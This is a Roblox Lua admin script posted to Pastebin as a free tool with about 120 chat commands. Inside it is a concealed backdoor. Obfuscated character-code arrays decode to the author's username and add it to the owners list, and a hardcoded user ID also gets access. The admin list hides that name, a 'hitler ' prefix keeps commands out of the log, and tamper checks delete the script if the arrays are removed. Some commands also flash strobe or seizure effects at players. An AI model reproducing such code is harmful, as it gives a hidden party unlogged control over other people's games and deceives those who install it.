Advertisement
Guest User

Kohl's admin script!

a guest
Aug 2nd, 2013
3,264
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 111.35 KB | None | 0 0
  1. -----------------------------------------------------------------------------------------
  2. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  3. -----------------------------------------------------------------------------------------
  4. local owners = {"TeamPlatinum"} -- Are able to set admins who can ban/etc... using :pa name
  5. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  6. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  7. local banland = {"MasterKhaos"} -- Permanently Bans people
  8. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  9. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  10. -----------------
  11. -- Group Admin --
  12. -----------------
  13. local GroupAdmin = false -- If a certain group can have admin
  14. local GroupId = 0 -- Sets the group id that can have admin
  15. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  16. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  17. ---------------------
  18. -- Tips and Tricks --
  19. ---------------------
  20. --[[
  21. With this admin you can do a command on multiple people at a time;
  22. :kill me,noob1,noob2,random,team-raiders
  23.  
  24. You can also use a variety commands for different people;
  25. all
  26. others
  27. me
  28. team-
  29. admins
  30. nonadmins
  31. random
  32. --]]
  33. --------------
  34. -- Commands --
  35. --------------
  36. --[[
  37. -- Temp Admin Commands --
  38. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  39. 1. :s print("Hello World") -- Lets you script normally
  40. 2. :ls print("Hello World") -- Lets you script in localscripts
  41. 3. :clear -- Will remove all scripts/localscripts and jails
  42. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  43. 5. :kill kohl -- Kills the player
  44. 6. :respawn kohl -- Respawns the player
  45. 7. :trip kohl -- Trips the player
  46. 8. :stun kohl -- Stuns the player
  47. 9. :unstun kohl -- Unstuns the player
  48. 10. :jump kohl -- Makes the player jump
  49. 11. :sit kohl -- Makes the player sit
  50. 12. :invisible kohl -- Makes the player invisible
  51. 13. :visible kohl -- Makes the player visible
  52. 14. :explode kohl -- Makes the player explode
  53. 15. :fire kohl -- Sets the player on fire
  54. 16. :unfire kohl -- Removes fire from the player
  55. 17. :smoke kohl -- Adds smoke to the player
  56. 18. :unsmoke kohl -- Removes smoke from the player
  57. 19. :sparkles kohl -- Adds sparkles to the player
  58. 20. :unsparkles kohl -- Removes sparkles from the player
  59. 21. :ff kohl -- Adds a forcefield to the player
  60. 22. :unff kohl -- Removes the forcefield from the player
  61. 23. :punish kohl -- Punishes the player
  62. 24. :unpunish kohl -- Unpunishes the player
  63. 25. :freeze kohl -- Freezes the player
  64. 26. :thaw kohl -- Thaws the player
  65. 27. :heal kohl -- Heals the player
  66. 28. :god kohl -- Makes the player have infinite health
  67. 29. :ungod kohl -- Makes the player have 100 health
  68. 30. :ambient .5 .5 .5 -- Changes the ambient
  69. 31. :brightness .5 -- Changes the brightness
  70. 32. :time 12 -- Changes the time
  71. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  72. 34. :fogend 100 -- Changes the fogend
  73. 35. :fogstart 100 -- Changes the fogstart
  74. 36. :removetools kohl -- Removes all tools from the player
  75. 37. :btools kohl -- Gives the player building tools
  76. 38. :give kohl sword -- Gives the player a tool
  77. 39. :damage kohl -- Damages the player
  78. 40. :grav kohl -- Sets the player's gravity to normal
  79. 41. :setgrav kohl 100 -- Sets the player's gravity
  80. 42. :nograv kohl -- Makes the player have 0 gravity
  81. 43. :health kohl 1337 -- Changes the player's health
  82. 44. :speed kohl 1337 -- Changes the player's walkspeed
  83. 45. :name kohl potato -- Changes the player's name
  84. 46. :unname kohl -- Remove the player's name
  85. 47. :team kohl Raiders -- Changes the player's team
  86. 48. :stopmusic -- Will stop all music playing in the server
  87. 49. :teleport kohl potato -- Teleports the player
  88. 50. :change kohl kills 1337 -- Changes a player's stat
  89. 51. :kick kohl -- Removes the player from the game
  90. 52. :infect kohl -- Turns the player into a zombie
  91. 53. :rainbowify kohl -- Turns the player into a rainbow
  92. 54. :flashify kohl -- Turns the player into a strobe
  93. 55. :noobify kohl -- Turns the player into a noob
  94. 56. :ghostify kohl -- Turns the player into a ghost
  95. 57. :goldify kohl -- Turns the player into gold
  96. 58. :shiny kohl -- Makes the player shiny
  97. 59. :normal kohl -- Puts the player back to normal
  98. 60. :trippy kohl -- Spams random colors on the player's screen
  99. 61. :untrippy kohl -- Untrippys the player
  100. 62. :strobe kohl -- Spams white and black on the player's screen
  101. 63. :unstrobe kohl -- Unstrobes the player
  102. 64. :blind kohl -- Blinds the player
  103. 65. :unblind kohl -- Unblinds the player
  104. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  105. 67. :fling kohl -- Flings the player
  106. 68. :seizure kohl -- Puts the player in a seizure
  107. 69(lol). :music 1337 -- Plays a sound from the ID
  108. 70. :lock kohl -- Locks the player
  109. 71. :unlock kohl -- Unlocks the player
  110. 72. :removelimbs kohl -- Removes the player's limbs
  111. 73. :jail kohl -- Puts the player in a jail
  112. 74. :unjail kohl -- Removes the jail from the player
  113. 75. :fix -- This will fix the lighting to it's original settings
  114. 76. :fly kohl -- Makes the player fly
  115. 77. :unfly kohl -- Removes fly from the player
  116. 78. :noclip kohl -- Makes the player able to noclip
  117. 79. :clip kohl -- Removes noclipping from the player
  118. 80. :pm kohl Hey bro -- Sends the player a private message
  119. 81. :dog kohl -- Turns the player into a dog
  120. 82. :undog kohl -- Turns the player back to normal
  121. 83. :creeper kohl -- Turns the player into a creeper
  122. 84. :uncreeper kohl -- Turns the player back to normal
  123. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  124. 86. :char kohl 261 -- Will make a player look like a different player ID
  125. 87. :unchar kohl -- Will return the player back to normal
  126. 88. :h Hello People -- This will shout a hint to everyone
  127. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  128. 90. :starttools kohl -- Will give the player starter tools
  129. 91. :sword kohl -- Will give the player a sword
  130. 92. :bighead kohl -- Will make the player's head larger than normal
  131. 93. :minihead kohl -- Will make the player's head smaller than normal
  132. 94. :insert 1337 -- Will insert a model at the speaker's position
  133. 95. :disco -- Will make the server flash random colors
  134. 96. :flash -- Will make the server flash
  135. 97. :admins -- Shows the admin list
  136. 98. :bans -- Shows the banlist
  137. 99. :musiclist -- Shows the music list
  138. 100. :spin kohl -- Spins the player
  139. 101. :cape kohl Really black -- Gives the player a colored cape
  140. 102. :uncape kohl -- Removes the player's cape
  141. 103. :loopheal kohl -- Will constantly heal the player
  142. 104. :loopfling kohl -- Will constantly fling the player
  143. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  144. 106. :unloopheal kohl -- Will remove the loopheal on the player
  145. 107. :unloopfling kohl -- Will remove the loopfling on the player
  146. 108. :unspin kohl -- Removes spin from the player
  147. 109. :tools -- Gives a list of the tools in the lighting
  148. 110. :undisco -- Removes disco effects
  149. 111. :unflash -- Removes flash effects
  150. 112. :resetstats kohl -- Sets all the stats of a player to 0
  151. 113. :gear kohl 1337 -- Gives a player a gear
  152. 114. :cmdbar -- Gives the speaker a command bar
  153. 115. :shirt kohl 1337 -- Changes the player's shirt
  154. 116. :pants kohl 1337 -- Changes the player's pants
  155. 117. :face kohl 1337 -- Changes the player's face
  156. 118. :swagify kohl -- Swagifies the player
  157. 119. :version -- Shows the current version of the admin
  158. 120. :tm 120 yolo -- Shows a message for 1337 seconds, maxes out at 120 seconds
  159. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  160. 122. :clone kohl -- Creates a clone of the player
  161.  
  162. -- Super Admin Commands --
  163. - :serverlock -- Locks the server
  164. - :serverunlock -- Unlocks the server
  165. - :sm Hello World -- Creates a system message
  166. - :crash kohl -- Crashes a player
  167. - :admin kohl -- Admins a player
  168. - :unadmin kohl -- Unadmins a player
  169. - :ban kohl -- Bans a player
  170. - :unban kohl -- Unbans a player
  171. - :loopkill kohl -- Will constantly kill the player
  172. - :unloopkill kohl -- Will remove the loopkill on the player
  173. - :logs -- Will show all of the commands any admin has used in a game session
  174. - :shutdown -- Shutsdown the server
  175.  
  176. -- Owner Commands --
  177. - :pa kohl -- Makes someone a super admin
  178. - :unpa kohl -- Removes a super admin
  179. - :nuke kohl -- Creates a nuke on kohl
  180. --]]
  181. -----------------
  182. -- Main Script --
  183. -----------------
  184. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  185.  
  186. function CHEESE()
  187. if game:service("Lighting"):findFirstChild("KACV2") then
  188. owners = {} admins = {} tempadmins = {} banland = {}
  189. for i,v in pairs(game.Lighting.KACV2:children()) do
  190. if v.Name == "Owner" then table.insert(owners, v.Value) end
  191. if v.Name == "Admin" then table.insert(admins, v.Value) end
  192. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  193. if v.Name == "Banland" then table.insert(banland, v.Value) end
  194. if v.Name == "Prefix" then prefix = v.Value end
  195. if v.Name == "FunCommands" then FunCommands = v.Value end
  196. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  197. if v.Name == "GroupId" then GroupId = v.Value end
  198. if v.Name == "GroupRank" then GroupRank = v.Value end
  199. end
  200. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  201. end
  202.  
  203. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  204. local lobjs = {}
  205. local objects = {}
  206. local logs = {}
  207. local nfs = ""
  208. local slock = false
  209.  
  210. function GetTime()
  211. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  212. if min < 10 then min = "0"..min end
  213. return hour..":"..min
  214. end
  215.  
  216. function ChkOwner(str)
  217. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  218. return false
  219. end
  220.  
  221. function ChkAdmin(str,ck)
  222. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  223. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  224. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  225. return false
  226. end
  227.  
  228. function ChkGroupAdmin(plr)
  229. if GroupAdmin then
  230. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  231. return false
  232. end
  233. end
  234.  
  235. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  236.  
  237. function GetPlr(plr, str)
  238. local plrz = {} str = str:lower()
  239. if str == "all" then plrz = game.Players:children()
  240. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  241. else
  242. local sn = {1} local en = {}
  243. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  244. for x = 1, #sn do
  245. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  246. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  247. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  248. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  249. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  250. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  251. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  252. end end end
  253. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  254. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  255. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  256. end end end
  257. else
  258. for a, plyr in pairs(game.Players:children()) do
  259. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  260. table.insert(plrz, plyr) break
  261. end
  262. end
  263. end
  264. end
  265. end
  266. return plrz
  267. end
  268.  
  269. function Hint(str, plrz, time)
  270. for i, v in pairs(plrz) do
  271. if v and v:findFirstChild("PlayerGui") then
  272. coroutine.wrap(function()
  273. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  274. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  275. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  276. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  277. if not time then wait((#str/19)+2.5) else wait(time) end
  278. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  279. end)()
  280. end
  281. end
  282. end
  283.  
  284. function Message(ttl, str, scroll, plrz, time)
  285. for i, v in pairs(plrz) do
  286. if v and v:findFirstChild("PlayerGui") then
  287. coroutine.resume(coroutine.create(function()
  288. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  289. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  290. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  291. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  292. scr.Parent = v.PlayerGui
  293. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  294. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  295. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  296. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  297. end))
  298. end
  299. end
  300. end
  301.  
  302. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  303. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  304.  
  305. function Output(str, plr)
  306. coroutine.resume(coroutine.create(function()
  307. local b, e = loadstring(str)
  308. if not b and plr:findFirstChild("PlayerGui") then
  309. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  310. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  311. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  312. return
  313. end
  314. end))
  315. end
  316.  
  317. function Noobify(char)
  318. if char and char:findFirstChild("Torso") then
  319. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  320. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  321. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  322. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  323. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  324. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  325. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  326. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  327. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  328. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  329. end end
  330. end
  331. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  332.  
  333. function Infect(char)
  334. if char and char:findFirstChild("Torso") then
  335. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  336. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  337. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  338. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  339. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  340. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  341. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  342. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  343. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  344. end end
  345. end
  346. end if not ntab then script:Destroy() end
  347.  
  348. function ScrollGui()
  349. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  350. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  351. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  352. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  353. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  354. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  355. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  356. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  357. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  358. local num = 0
  359. local downv = false
  360. local upv = false
  361.  
  362. down.MouseButton1Down:connect(function() downv = true upv = false
  363. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  364. repeat pos = pos + UDim2.new(0,0,0,-6)
  365. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  366. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  367. end)
  368. down.MouseButton1Up:connect(function() downv = false end)
  369. up.MouseButton1Down:connect(function() upv = true downv = false
  370. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  371. repeat pos = pos + UDim2.new(0,0,0,6)
  372. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  373. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  374. end)
  375. up.MouseButton1Up:connect(function() upv = false end)
  376. return scr, cmf, ent, num
  377. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  378. if not ntab then script:Destroy() end
  379. if not bct then script:Destroy() end
  380.  
  381. function Chat(msg,plr)
  382. coroutine.resume(coroutine.create(function()
  383. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  384. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  385. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  386. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  387. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  388. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  389. if msg:lower() == "cmds" or msg:lower() == "commands" then
  390. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  391. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  392. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr"}
  393. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  394. local ost = {"pa plr","unpa plr","nuke plr"}
  395. local tost = {"oa plr","unoa plr"}
  396. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  397. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  398. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  399. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  400. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  401. end
  402.  
  403. if msg:lower() == "version" then Message("Version", script.Version.Value, true, {plr}) end
  404.  
  405. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  406. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  407. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  408. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  409. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  410. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  411. end end
  412.  
  413. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  414. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  415. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  416. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  417. end
  418.  
  419. if msg:lower() == "tools" or msg:lower() == "toollist" then
  420. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  421. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  422. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  423. end
  424.  
  425. if msg:lower():sub(1,2) == "s " then
  426. coroutine.resume(coroutine.create(function()
  427. Output(msg:sub(3), plr)
  428. if script:findFirstChild("ScriptBase") then
  429. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  430. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  431. else loadstring(msg:sub(3))()
  432. end
  433. end))
  434. end
  435.  
